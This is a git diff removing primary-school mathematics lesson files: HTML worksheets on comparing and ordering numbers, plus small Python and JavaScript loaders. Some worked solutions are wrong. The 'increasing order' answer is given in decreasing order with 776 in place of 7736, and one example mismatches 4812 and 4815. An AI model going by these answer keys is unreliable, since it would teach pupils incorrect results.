-    <h1>
-     Units
-    </h1>
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <h1>
-     Hundreds
-    </h1>
-   </td>
-   <td width="17%" valign="top">
-    <h1>
-     Tens
-    </h1>
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <h1>
-     Hundreds
-    </h1>
-   </td>
-   <td width="17%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  1450 has a bigger value than 105
- </li>
- <li>
-  Therefore ,1450 is greater than 105 or 1450 &gt; 105.
- </li>
-</ul>
-<p>
- Remember also that : Observe the first digits and compare starting from the left.
-</p>
-<div style="margin-left: 40px;">
- Example : Compare 6435 and 6872
-</div>
-<p>
- The first digits are the same and the second numbers are 4 and 8.
- <br />
- 4 is smaller than 8, therefore 6435 is less than 6872 or 6435 &lt; 6872.
- <br />
- <br />
- 2) Which number is the greatest among the following:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  546
- </li>
- <li>
-  7468
- </li>
- <li>
-  7453
- </li>
- <li>
-  3647
- </li>
-</ul>
-<h5>
- solution
-</h5>
-<p>
- The greatest number is:7468
- <br />
- <br />
- 3) Which number is the smallest among the following
- <br />
- <br />
-</p>
-<ul>
- <li>
-  641
- </li>
- <li>
-  749
- </li>
- <li>
-  647
- </li>
- <li>
-  902
- </li>
- <li>
-  846
- </li>
-</ul>
-<p>
- solution The smallest number is:641
- <br />
- <br />
- 4) Circle the greater number 88743 and 88160
- <br />
- 5) Use &lt; ; &gt; or = to compare the following
- <br />
- <br />
-</p>
-<ul>
- <li>
-  16095....................16950
- </li>
- <li>
-  18263....................18236
- </li>
- <li>
-  53....................533
- </li>
- <li>
-  6421.....................63276
- </li>
- <li>
-  645....................645
- </li>
- <li>
-  64748....................65323
- </li>
- <li>
-  4316..................76872
- </li>
- <li>
-  5364..................21637
- </li>
- <li>
-  6374..................73847
- </li>
- <li>
-  9873..................64538
- </li>
- <li>
-  6453..................92837
- </li>
- <li>
-  9090...................9990
- </li>
-</ul>
-<p>
- 1) Arrange following number in increasing order.
- <br />
- <br />
- 435 ; 736 ; 7736 ; 425 ; 8899.
-</p>
-<h5>
- solution
-</h5>
-<p>
- <br />
- 8899 ; 776 ; 736 ; 435 ; 425.
- <br />
- <br />
- <br />
- 6) Arrange following numbers in de creasing order.
- <br />
- <br />
- 78 ; 34 ; 2536 ; 172 ; 6353 ; 132 ; 6235.
-</p>
-<h5>
- solution
-</h5>
-<p>
- 6353 ; 6235 ; 2536 ; 172 ; 132 ; 78 ; 34.
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a02/description.py b/Save_Mathematics/P4/map411m04/map411m04a02/description.py
deleted file mode 100644
index 76d2ee5..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m04a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m04/map411m04a02/lesson.js b/Save_Mathematics/P4/map411m04/map411m04a02/lesson.js
deleted file mode 100644
index f8d1d6e..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m04/map411m04a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m04/map411m04a02/source.txt b/Save_Mathematics/P4/map411m04/map411m04a02/source.txt
deleted file mode 100644
index b65286f..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a02/source.txt
+++ /dev/null
@@ -1,257 +0,0 @@
-<p>
- Examples: Compare1 4 50 and 105 using &lt;,&gt;,=.
- <br />
- <span style="font-weight: bold;">
- </span>
- solution:1450 is more than 105 or
- <br />
- 1450 &gt; 105
- <br />
- Compare 4625 and 4812
- <br />
- 4625 &lt; 4815
- <br />
- Remember : We compare using place values
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="1168" height="329">
- <tbody>
-  <tr>
-   <td colspan="3" width="17%" valign="top">
-    <h1>
-     Thousands
-    </h1>
-   </td>
-   <td colspan="3" width="17%" valign="top">
-    <h1>
-     Units
-    </h1>
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <h1>
-     Hundreds
-    </h1>
-   </td>
-   <td width="17%" valign="top">
-    <h1>
-     Tens
-    </h1>
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <h1>
-     Hundreds
-    </h1>
-   </td>
-   <td width="17%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  1450 has a bigger value than 105
- </li>
- <li>
-  Therefore ,1450 is greater than 105 or 1450 &gt; 105.
- </li>
-</ul>
-<p>
- Remember also that : Observe the first digits and compare starting from the left.
-</p>
-<div style="margin-left: 40px;">
- Example : Compare 6435 and 6872
-</div>
-<p>
- The first digits are the same and the second numbers are 4 and 8.
- <br />
- 4 is smaller than 8, therefore 6435 is less than 6872 or 6435 &lt; 6872.
- <br />
- <br />
- 2) Which number is the greatest among the following:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  546
- </li>
- <li>
-  7468
- </li>
- <li>
-  7453
- </li>
- <li>
-  3647
- </li>
-</ul>
-<h5>
- solution
-</h5>
-<p>
- The greatest number is:7468
- <br />
- <br />
- 3) Which number is the smallest among the following
- <br />
- <br />
-</p>
-<ul>
- <li>
-  641
- </li>
- <li>
-  749
- </li>
- <li>
-  647
- </li>
- <li>
-  902
- </li>
- <li>
-  846
- </li>
-</ul>
-<p>
- solution The smallest number is:641
- <br />
- <br />
- 4) Circle the greater number 88743 and 88160
- <br />
- 5) Use &lt; ; &gt; or = to compare the following
- <br />
- <br />
-</p>
-<ul>
- <li>
-  16095....................16950
- </li>
- <li>
-  18263....................18236
- </li>
- <li>
-  53....................533
- </li>
- <li>
-  6421.....................63276
- </li>
- <li>
-  645....................645
- </li>
- <li>
-  64748....................65323
- </li>
- <li>
-  4316..................76872
- </li>
- <li>
-  5364..................21637
- </li>
- <li>
-  6374..................73847
- </li>
- <li>
-  9873..................64538
- </li>
- <li>
-  6453..................92837
- </li>
- <li>
-  9090...................9990
- </li>
-</ul>
-<p>
- 1) Arrange following number in increasing order.
- <br />
- <br />
- 435 ; 736 ; 7736 ; 425 ; 8899.
-</p>
-<h5>
- solution
-</h5>
-<p>
- <br />
- 8899 ; 776 ; 736 ; 435 ; 425.
- <br />
- <br />
- <br />
- 6) Arrange following numbers in de creasing order.
- <br />
- <br />
- 78 ; 34 ; 2536 ; 172 ; 6353 ; 132 ; 6235.
-</p>
-<h5>
- solution
-</h5>
-<p>
- 6353 ; 6235 ; 2536 ; 172 ; 132 ; 78 ; 34.
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a03/a.txt b/Save_Mathematics/P4/map411m04/map411m04a03/a.txt
deleted file mode 100644
index 0dcd422..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a03/a.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-<p>
- 1) Fill in the blank with the following symbols:
- <br />
- &gt; ; &lt; =
- <br />
- <br />
-</p>
-<ol>
- <li>
-  653-----------738
- </li>
- <li>
-  7638---------347
- </li>
- <li>
-  243----------902
- </li>
- <li>
-  534----------2009
- </li>
- <li>
-  6373----------9283
- </li>
- <li>
-  82263---------17266
- </li>
- <li>
-  72938---------89828
- </li>
- <li>
-  4257-----------4257
- </li>
- <li>
-  1213--------------7638
- </li>
- <li>
-  7738-------------7739
- </li>
-</ol>
-<p>
- 2) Arrange the following numbers in ascending order:
- <br />
- <br />
- 534 ; 543 ; 844 ; 35 ; 324 ; 879 ; 3524.
- <br />
- <br />
- <br />
- 3) Arrange in an increasing order:
- <br />
- <br />
- 53 ; 67 ;13 ; 343 ; 123 ; 726 ; 937.
- <br />
- <br />
- 4) Arrange the following in decreasing order:
- <br />
- <br />
- 87 ; 25; 142 ; 263 ; 849 ; 241 ;534 ; 364.
- <br />
- <br />
- 5) Arrange the folowing numbers in descending order.
- <br />
- <br />
- 53 ; 74 ; 12 ; 736 ; 132 ; 482 ; 94 ; 534 ; 293.
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a03/description.py b/Save_Mathematics/P4/map411m04/map411m04a03/description.py
deleted file mode 100644
index a4a9778..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m04a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m04/map411m04a03/lesson.js b/Save_Mathematics/P4/map411m04/map411m04a03/lesson.js
deleted file mode 100644
index 1399e23..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m04/map411m04a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m04/map411m04a03/source.txt b/Save_Mathematics/P4/map411m04/map411m04a03/source.txt
deleted file mode 100644
index 0dcd422..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a03/source.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-<p>
- 1) Fill in the blank with the following symbols:
- <br />
- &gt; ; &lt; =
- <br />
- <br />
-</p>
-<ol>
- <li>
-  653-----------738
- </li>
- <li>
-  7638---------347
- </li>
- <li>
-  243----------902
- </li>
- <li>
-  534----------2009
- </li>
- <li>
-  6373----------9283
- </li>
- <li>
-  82263---------17266
- </li>
- <li>
-  72938---------89828
- </li>
- <li>
-  4257-----------4257
- </li>
- <li>
-  1213--------------7638
- </li>
- <li>
-  7738-------------7739
- </li>
-</ol>
-<p>
- 2) Arrange the following numbers in ascending order:
- <br />
- <br />
- 534 ; 543 ; 844 ; 35 ; 324 ; 879 ; 3524.
- <br />
- <br />
- <br />
- 3) Arrange in an increasing order:
- <br />
- <br />
- 53 ; 67 ;13 ; 343 ; 123 ; 726 ; 937.
- <br />
- <br />
- 4) Arrange the following in decreasing order:
- <br />
- <br />
- 87 ; 25; 142 ; 263 ; 849 ; 241 ;534 ; 364.
- <br />
- <br />
- 5) Arrange the folowing numbers in descending order.
- <br />
- <br />
- 53 ; 74 ; 12 ; 736 ; 132 ; 482 ; 94 ; 534 ; 293.
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a04/a.txt b/Save_Mathematics/P4/map411m04/map411m04a04/a.txt
deleted file mode 100644
index 30be43f..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a04/a.txt
+++ /dev/null
@@ -1,209 +0,0 @@
-<p>
- 1) Compare the following using &gt; ; &lt; ; =.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  35095 -----------15927
- </li>
- <li>
-  15111------------114020
- </li>
- <li>
-  1575---------------15750
- </li>
- <li>
-  18000-------------180000
- </li>
- <li>
-  27000+100+5------1195000
- </li>
- <li>
-  27000+100+5-------27000+60+7
- </li>
- <li>
-  15000+200+3-------15000+90+7
- </li>
-</ul>
-<p>
- 2) Replace words of the following statement with corresponding symbols.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  5346 is greater than 534
- </li>
- <li>
-  758 is less than 7584
- </li>
- <li>
-  5095 is bigger than 635
- </li>
- <li>
-  7485 is equal to 7485
- </li>
- <li>
-  645 is less than 534
- </li>
- <li>
-  736 is greater than 735
- </li>
-</ul>
-<p>
- 3) Copy and complete by filling in the correct symbol (= ; &gt; ; &lt;).
-</p>
-<ol>
- <li>
-  1000 --------------100000
- </li>
- <li>
-  33885-------------35346
- </li>
- <li>
-  8350--------------8350
- </li>
- <li>
-  49251-----------84893
- </li>
- <li>
-  82960-----------82860
- </li>
-</ol>
-<p>
- <br />
- 4) Observe this table and complete the gaps of the following sentenses by :
-</p>
-<ul>
- <li>
-  is greater than
- </li>
- <li>
-  is less than
- </li>
- <li>
-  is equal to
- </li>
-</ul>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Name of district
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    Number of population
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Gasabo
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    426,299
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Kicukiro
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    247,284
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Nyarugenge
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    243,152
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Rusizi
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    280,371
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    Nyamasheke
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    325,032
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<ol>
- <li>
-  The populaton number of Kicukiro .............. The population number of Nyarugenge.
- </li>
- <li>
-  The population number of Rusizi ............ The population number of Nyamasheke.
- </li>
- <li>
-  The populaton number of Gasbo .............. The population number of Nyarugenge.
- </li>
- <li>
-  The population number of Nyamasheke ............ The population number of Gasbo.
- </li>
- <li>
-  The populaton number of Kicukiro .............. The population number of Gasbo.
- </li>
- <li>
-  The population number of Rusizi ............ The population number of Kicukiro
- </li>
- <li>
-  The populaton number of Nyamasheke.............. The population number of Nyarugenge.
- </li>
- <li>
-  The population number of Gasabo............ The population number of Rusizi.
- </li>
- <li>
-  The populaton number of Nyarugenge.............. The population number of Rusizi.
- </li>
- <li>
-  The population number of Kicukuro ............ The population number of Nyamasheke.
- </li>
-</ol>
-<p>
- <br />
- 5) Arrange the following numbers in increasing order.
- <br />
- <br />
- 64 ; 24 ; 84 17 ; 90 ; 673 ; 190 ; 39 ; 689.
- <br />
- <br />
- 6) Order following numbers in Descending order.
- <br />
- <br />
- 64 ; 82 ; 162 ; 60 ; 738 ; ;647 ; 190 ; 748 ; 120.
- <br />
- <br />
- 7) Arrange the following nun mbers in ascending order:
- <br />
- <br />
- 647 ; 736 ; 6253 ; 90039 ; 738 ; 11920 ; 90203.
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a04/description.py b/Save_Mathematics/P4/map411m04/map411m04a04/description.py
deleted file mode 100644
index 97796aa..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m04a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m04/map411m04a04/lesson.js b/Save_Mathematics/P4/map411m04/map411m04a04/lesson.js
deleted file mode 100644
index 1b1db16..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m04/map411m04a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m04/map411m04a04/source.txt b/Save_Mathematics/P4/map411m04/map411m04a04/source.txt
deleted file mode 100644
index 30be43f..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a04/source.txt
+++ /dev/null
@@ -1,209 +0,0 @@
-<p>
- 1) Compare the following using &gt; ; &lt; ; =.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  35095 -----------15927
- </li>
- <li>
-  15111------------114020
- </li>
- <li>
-  1575---------------15750
- </li>
- <li>
-  18000-------------180000
- </li>
- <li>
-  27000+100+5------1195000
- </li>
- <li>
-  27000+100+5-------27000+60+7
- </li>
- <li>
-  15000+200+3-------15000+90+7
- </li>
-</ul>
-<p>
- 2) Replace words of the following statement with corresponding symbols.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  5346 is greater than 534
- </li>
- <li>
-  758 is less than 7584
- </li>
- <li>
-  5095 is bigger than 635
- </li>
- <li>
-  7485 is equal to 7485
- </li>
- <li>
-  645 is less than 534
- </li>
- <li>
-  736 is greater than 735
- </li>
-</ul>
-<p>
- 3) Copy and complete by filling in the correct symbol (= ; &gt; ; &lt;).
-</p>
-<ol>
- <li>
-  1000 --------------100000
- </li>
- <li>
-  33885-------------35346
- </li>
- <li>
-  8350--------------8350
- </li>
- <li>
-  49251-----------84893
- </li>
- <li>
-  82960-----------82860
- </li>
-</ol>
-<p>
- <br />
- 4) Observe this table and complete the gaps of the following sentenses by :
-</p>
-<ul>
- <li>
-  is greater than
- </li>
- <li>
-  is less than
- </li>
- <li>
-  is equal to
- </li>
-</ul>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Name of district
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    Number of population
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Gasabo
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    426,299
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Kicukiro
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    247,284
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Nyarugenge
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    243,152
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Rusizi
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    280,371
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    Nyamasheke
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    325,032
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<ol>
- <li>
-  The populaton number of Kicukiro .............. The population number of Nyarugenge.
- </li>
- <li>
-  The population number of Rusizi ............ The population number of Nyamasheke.
- </li>
- <li>
-  The populaton number of Gasbo .............. The population number of Nyarugenge.
- </li>
- <li>
-  The population number of Nyamasheke ............ The population number of Gasbo.
- </li>
- <li>
-  The populaton number of Kicukiro .............. The population number of Gasbo.
- </li>
- <li>
-  The population number of Rusizi ............ The population number of Kicukiro
- </li>
- <li>
-  The populaton number of Nyamasheke.............. The population number of Nyarugenge.
- </li>
- <li>
-  The population number of Gasabo............ The population number of Rusizi.
- </li>
- <li>
-  The populaton number of Nyarugenge.............. The population number of Rusizi.
- </li>
- <li>
-  The population number of Kicukuro ............ The population number of Nyamasheke.
- </li>
-</ol>
-<p>
- <br />
- 5) Arrange the following numbers in increasing order.
- <br />
- <br />
- 64 ; 24 ; 84 17 ; 90 ; 673 ; 190 ; 39 ; 689.
- <br />
- <br />
- 6) Order following numbers in Descending order.
- <br />
- <br />
- 64 ; 82 ; 162 ; 60 ; 738 ; ;647 ; 190 ; 748 ; 120.
- <br />
- <br />
- 7) Arrange the following nun mbers in ascending order:
- <br />
- <br />
- 647 ; 736 ; 6253 ; 90039 ; 738 ; 11920 ; 90203.
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a05/a.txt b/Save_Mathematics/P4/map411m04/map411m04a05/a.txt
deleted file mode 100644
index 86d6768..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a05/a.txt
+++ /dev/null
@@ -1,115 +0,0 @@
-<p>
- &nbsp;
-</p>
-<p>
- 1) Replace words of the following statement with corresponding symbols.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  5346 is greater than 534
- </li>
- <li>
-  758 is less than 7584
- </li>
- <li>
-  5095 is bigger than 635
- </li>
- <li>
-  7485 is equal to 7485
- </li>
- <li>
-  645 is less than 534
- </li>
- <li>
-  736 is greater than 735
- </li>
-</ul>
-<p>
- 2) Arrange following Students acording to their age:
- <br />
- <br />
- Mathias is 26 years old.
- <br />
- Charles is 24 years old.
- <br />
- Davis is 25 years old.
- <br />
- Muhamed is 28 years old.
- <br />
- <br />
- 3) Sandra ;Juli ; Fabrice ; Aloys And Douglas Obtained following annual results
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Sandra : 985
- </li>
- <li>
-  Juli :1050
- </li>
- <li>
-  Fabrice :1150
- </li>
- <li>
-  Aloys :875
- </li>
- <li>
-  Douglas :425
- </li>
-</ul>
-<p>
- 4) Compare the following using &gt; ; &lt; ; =.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  35095 -----------15927
- </li>
- <li>
-  15111------------114020
- </li>
- <li>
-  1575---------------15750
- </li>
- <li>
-  18000-------------180000
- </li>
- <li>
-  27000+100+5------11950
- </li>
- <li>
-  27000+100+5-------27000+60+7
- </li>
- <li>
-  15000+200+3-------15000+90+7
- </li>
-</ul>
-<ul>
-</ul>
-<p>
- Arrange the above Students Acording to their performance.
- <br />
- <br />
- 5) Arrange following numbers in ascending order.
- <br />
- <br />
- 23 ; 746 ; 129 ; 9374 ; 768 ; 635 ;156 ; 890.
- <br />
- <br />
- 6) Arrange in decreasing order following numbers.
- <br />
- <br />
- 64 ; 10 ; 647 ; 293 ; 748 ; 283 ; 849 ; 142.
- <br />
- <br />
- 6) Order following numbers in increasing order:
- <br />
- <br />
- 74 ; 83 ; 536 ; 129 ; 780 ; 74 ; 62 ; 6253.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a05/description.py b/Save_Mathematics/P4/map411m04/map411m04a05/description.py
deleted file mode 100644
index 6debaba..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m04a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m04/map411m04a05/lesson.js b/Save_Mathematics/P4/map411m04/map411m04a05/lesson.js
deleted file mode 100644
index a5c4aa4..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m04/map411m04a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m04/map411m04a05/source.txt b/Save_Mathematics/P4/map411m04/map411m04a05/source.txt
deleted file mode 100644
index 86d6768..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a05/source.txt
+++ /dev/null
@@ -1,115 +0,0 @@
-<p>
- &nbsp;
-</p>
-<p>
- 1) Replace words of the following statement with corresponding symbols.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  5346 is greater than 534
- </li>
- <li>
-  758 is less than 7584
- </li>
- <li>
-  5095 is bigger than 635
- </li>
- <li>
-  7485 is equal to 7485
- </li>
- <li>
-  645 is less than 534
- </li>
- <li>
-  736 is greater than 735
- </li>
-</ul>
-<p>
- 2) Arrange following Students acording to their age:
- <br />
- <br />
- Mathias is 26 years old.
- <br />
- Charles is 24 years old.
- <br />
- Davis is 25 years old.
- <br />
- Muhamed is 28 years old.
- <br />
- <br />
- 3) Sandra ;Juli ; Fabrice ; Aloys And Douglas Obtained following annual results
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Sandra : 985
- </li>
- <li>
-  Juli :1050
- </li>
- <li>
-  Fabrice :1150
- </li>
- <li>
-  Aloys :875
- </li>
- <li>
-  Douglas :425
- </li>
-</ul>
-<p>
- 4) Compare the following using &gt; ; &lt; ; =.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  35095 -----------15927
- </li>
- <li>
-  15111------------114020
- </li>
- <li>
-  1575---------------15750
- </li>
- <li>
-  18000-------------180000
- </li>
- <li>
-  27000+100+5------11950
- </li>
- <li>
-  27000+100+5-------27000+60+7
- </li>
- <li>
-  15000+200+3-------15000+90+7
- </li>
-</ul>
-<ul>
-</ul>
-<p>
- Arrange the above Students Acording to their performance.
- <br />
- <br />
- 5) Arrange following numbers in ascending order.
- <br />
- <br />
- 23 ; 746 ; 129 ; 9374 ; 768 ; 635 ;156 ; 890.
- <br />
- <br />
- 6) Arrange in decreasing order following numbers.
- <br />
- <br />
- 64 ; 10 ; 647 ; 293 ; 748 ; 283 ; 849 ; 142.
- <br />
- <br />
- 6) Order following numbers in increasing order:
- <br />
- <br />
- 74 ; 83 ; 536 ; 129 ; 780 ; 74 ; 62 ; 6253.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a06/a.txt b/Save_Mathematics/P4/map411m04/map411m04a06/a.txt
deleted file mode 100644
index 1860331..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a06/a.txt
+++ /dev/null
@@ -1,149 +0,0 @@
-<p>
- 1) Arrange following cyclists according to distances covered by each of them.
-</p>
-<ul>
- <li>
-  <table border="1" width="100%">
-   <tbody>
-    <tr>
-     <td width="50%" valign="top">
-      Cyclist
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      Distance in km
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Janet
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      1080
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      David
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      766
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Adrian
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      1120
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Ruhumuriza
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      1315
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Alphonse
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      995
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Julien
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      338
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Leon
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      825
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
- </li>
-</ul>
-<p>
- 2) Drag and drop following numbers and arrange them in descending order:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  746
- </li>
- <li>
-  737
- </li>
- <li>
-  1872
- </li>
- <li>
-  3928
- </li>
- <li>
-  2637
- </li>
- <li>
-  9283
- </li>
- <li>
-  2983
- </li>
- <li>
-  9840
- </li>
- <li>
-  9832
- </li>
- <li>
-  2094
- </li>
- <li>
-  22049
- </li>
- <li>
-  3984
- </li>
-</ul>
-<p>
